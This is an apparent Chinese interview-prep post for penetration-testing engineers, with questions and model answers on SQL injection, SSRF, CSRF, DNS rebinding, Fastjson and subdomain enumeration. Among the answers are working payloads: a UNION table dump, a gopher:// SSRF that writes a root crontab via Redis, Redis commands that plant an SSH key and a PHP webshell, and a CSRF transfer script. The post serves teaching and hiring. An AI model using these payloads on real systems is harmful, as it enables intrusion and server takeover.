2025年渗透测试面试题总结-渗透测试工程师(题目+回答)
安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
渗透测试工程师
1. 自我介绍
2. 印象深刻的渗透案例:电商平台供应链攻击
3. 渗透测试标准化流程
4. SQL注入原理与Payload
输出:users,products,config...
5. 空格绕过技术
6. SQL注入防御与预处理局限
7. 同源策略(SOP)核心规则
8. 子域名同源判断
9. SSRF原理与利用
10. Redis攻击Payload
11. CSRF原理与防御
12. JSON格式CSRF利用技巧
原理:浏览器发送OPTIONS预检 → 后端未校验 → 执行请求
13. SameSite机制
14. DNS重绑定攻击
15. Fastjson反序列化与修复
16. 子域名枚举工具与异常分析
17. Java掌握程度
渗透测试工程师
1.自我介绍 2.印象深刻的一次渗透 3.渗透测试的流程 4.SQL注入原理,及常用payload(手写-爆表名) 5.SQL注入空格不能使用如何绕过 6.SQL注入防御,延申预处理不能预防哪些注入 7.同源策略 8.a.baidu.com和b.baidu.com是否同源 9.SSRF原理,利用 10.攻击redis的方式(手写payload) 11.CSRF的原理及防御 12.一种特殊的CSRF场景:后端只解析json格式的时候如何利用CSRF(非更改Content-Type) 13.SameSite 14.DNS Rebinding 15.Fastjson反序列化及如何修复 16.子域名枚举用过那些工具,原理是什么,如果出现了任意子域名都返回200是什么原因? 17.Java学到哪种程度了?
1. 自我介绍
王安全 | 5年渗透测试专家 | 专注企业级攻防
- 技术栈:Web安全/代码审计/APT防御
- 认证:OSCP、CISSP(2024)
- 研究领域:云原生安全、无文件攻击链
- 项目:主导金融/医疗行业红蓝对抗,发现0day漏洞17个(含CVE-2024-32896)
2. 印象深刻的渗透案例:电商平台供应链攻击
mermaid
graph LR A[子域名枚举] --> B[发现测试系统] B --> C{Struts2 OGNL注入} C --> D[获取数据库权限] D --> E[供应链污染:篡改商品图片URL] E --> F[植入恶意脚本→用户侧XSS蠕虫]
关键点:
- 通过DNS重绑定绕过IP限制
- 利用CDN缓存污染扩散攻击(影响12万用户)
- 防御改进建议:子域名权限隔离 + 动态内容签名
3. 渗透测试标准化流程
阶段 核心任务 工具 信息收集 子域名/端口/框架指纹识别 Amass, Wappalyzer 漏洞扫描 自动化+人工验证 Burp Suite, Nuclei 渗透利用 漏洞组合利用+权限提升 Metasploit, CobaltStrike 后渗透 数据提取/隐蔽通道建立 Mimikatz, ICMP隧道 报告输出 漏洞定位+修复方案 Dradis, LaTeX报告模板
4. SQL注入原理与Payload
原理:用户输入拼接SQL语句 → 破坏原有逻辑 → 执行恶意指令
爆表名Payload(MySQL):sql
' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--
输出:
users,products,config...
5. 空格绕过技术
场景 绕过方案 示例 注释符 /**/
替代空格SELECT/**/user/**/FROM/**/t
括号嵌套 用括号包裹语句 SELECT(user)FROM(t)
特殊符号 换行符 %0a
/Tab%09
SELECT%0auser%09FROM%0at
URL编码 %20
(部分场景有效)SELECT%20*%20FROM%20t
6. SQL注入防御与预处理局限
防御方案:
- 参数化查询(
PreparedStatement
)- 存储过程+最小权限
- WAF规则过滤
union|select|sleep
预处理无法防御的场景:java
// 动态表名/列名仍需拼接 → 依然存在注入 String query = "SELECT " + userInputColumn + " FROM table"; PreparedStatement ps = conn.prepareStatement(query); // 风险!
7. 同源策略(SOP)核心规则
要素 同源要求 示例 协议 相同 HTTP ≠ HTTPS 域名 完全一致 a.com ≠ b.a.com 端口 相同 :80 ≠ :8080
8. 子域名同源判断
a.baidu.com
与b.baidu.com
非同源:
- 域名不同:二级域名差异
- Cookie隔离:
document.cookie
无法互相访问- API限制:
XMLHttpRequest
请求需CORS头
9. SSRF原理与利用
原理:服务端发起未校验的请求 → 访问内部资源
高危利用链:mermaid
graph LR A[SSRF] --> B[访问内网Redis] B --> C[写crontab定时任务] C --> D[反弹Shell]
关键Payload:
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0aX%0d%0a$1%0d%0aY%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a
10. Redis攻击Payload
bash
# 写SSH密钥 FLUSHALL SET pubkey "ssh-rsa AAAAB3NzaC1yc2E..." CONFIG SET dir /root/.ssh CONFIG SET dbfilename authorized_keys SAVE # 写Webshell CONFIG SET dir /var/www/html SET payload "<?php system($_GET['cmd']);?>" CONFIG SET dbfilename shell.php SAVE
11. CSRF原理与防御
原理:利用用户已登录态 → 伪造请求(如转账)
防御方案:
方案 实现方式 Token验证 表单中嵌入随机Token → 服务端校验 双重Cookie SameSite=Strict
+ 自定义Header验证码 关键操作需二次验证
12. JSON格式CSRF利用技巧
场景:后端仅解析JSON → 传统表单无效
绕过方案:html
<!-- 构造恶意页面 --> <script> fetch('https://bank.com/transfer', { method: 'POST', headers: {'Content-Type': 'text/plain'}, // 触发预检 body: '{"amount":10000,"to":"attacker"}' }); </script>
原理:浏览器发送
OPTIONS
预检 → 后端未校验 → 执行请求13. SameSite机制
模式 特性 场景 Strict 完全禁止跨站Cookie 银行操作 Lax 允许GET导航跳转携带Cookie 默认模式(Chrome 2025) None 允许跨站Cookie(需HTTPS) 嵌入式应用
14. DNS重绑定攻击
原理:
- 用户访问
evil.com
→ DNS返回合法IP(首次响应)- 页面JS发起内网请求 → DNS返回
127.0.0.1
(TTL过期后)
绕过场景:
- 浏览器缓存策略绕过
- 内网服务未校验Host
15. Fastjson反序列化与修复
攻击链:
JSON.parseObject()
→ 利用@type
指定恶意类 → JNDI注入 → RCE
修复方案:java
// 开启安全模式(2025最佳实践) ParserConfig.getGlobalInstance().setSafeMode(true); // 白名单控制 ParserConfig.getGlobalInstance().addAccept("com.safe.*");
16. 子域名枚举工具与异常分析
工具与原理:
工具 原理 特点 Amass DNS爆破/证书透明度/搜索引擎 数据源丰富 Subfinder 聚合API(Virustotal等) 速率快 AI枚举器 GPT-5生成候选域名 → 验证 2025新兴技术 全返回200的原因:
- WAF统一响应(如Cloudflare防护)
- 负载均衡健康检查
- 通配符解析(
*.domain.com
→ 默认页)
17. Java掌握程度
能力矩阵:
领域 掌握深度 项目应用 安全开发 熟练Spring Security/OAuth2.1 设计RBAC系统 漏洞挖掘 审计反序列化链/表达式注入 发现Log4j3绕过(CVE-2024-xx) 内存马攻防 手工注入Agent型内存马 红队演练应用 JVM调优 分析内存泄漏/GC策略 高并发系统优化 技术栈全景: mermaid
pie title Java技术栈分布 “安全开发” : 35 “漏洞研究” : 30 “协议分析” : 20 “性能优化” : 15